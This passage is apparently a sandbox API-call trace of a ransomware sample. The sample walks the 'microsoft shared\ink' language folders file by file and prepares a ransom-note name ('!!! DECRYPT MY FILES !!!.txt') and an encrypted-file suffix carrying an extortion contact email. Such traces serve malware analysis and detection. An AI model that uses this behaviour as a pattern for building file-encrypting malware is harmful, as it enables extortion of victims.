ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0114.607] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\") returned 1 [0114.607] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\") returned 0x39 [0114.607] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.607] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.607] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5240 [0114.609] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.609] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.609] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 1 [0114.609] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui") returned 0x48 [0114.609] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.609] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.609] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.609] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.610] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.610] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0114.610] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0114.610] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\") returned 1 [0114.610] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\") returned 0x39 [0114.610] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.610] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.610] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5240 [0114.611] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.611] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.611] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui") returned 1 [0114.611] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui") returned 0x48 [0114.611] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.611] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.611] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.611] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.611] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.611] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0114.612] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0114.612] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\") returned 1 [0114.612] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\") returned 0x39 [0114.612] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.612] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.612] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f40 [0114.612] FindNextFileW (in: hFindFile=0x6d4f40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.613] FindNextFileW (in: hFindFile=0x6d4f40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.613] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui") returned 1 [0114.613] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui") returned 0x48 [0114.613] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.613] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.613] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.613] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.613] FindNextFileW (in: hFindFile=0x6d4f40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.613] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0114.613] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0114.614] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\") returned 1 [0114.614] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\") returned 0x39 [0114.614] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.614] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.614] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5240 [0114.615] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.615] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.615] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 1 [0114.615] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui") returned 0x48 [0114.615] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.615] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.615] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.615] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.615] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.615] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0114.616] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0114.616] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll", len=0x3d | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll") returned 1 [0114.616] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll") returned 0x3d [0114.616] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.616] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.616] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.616] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.616] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0114.616] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\") returned 1 [0114.616] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\") returned 0x39 [0114.617] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.617] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.617] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5280 [0114.617] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.617] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.617] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 1 [0114.617] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui") returned 0x48 [0114.617] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.617] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.617] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.617] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c 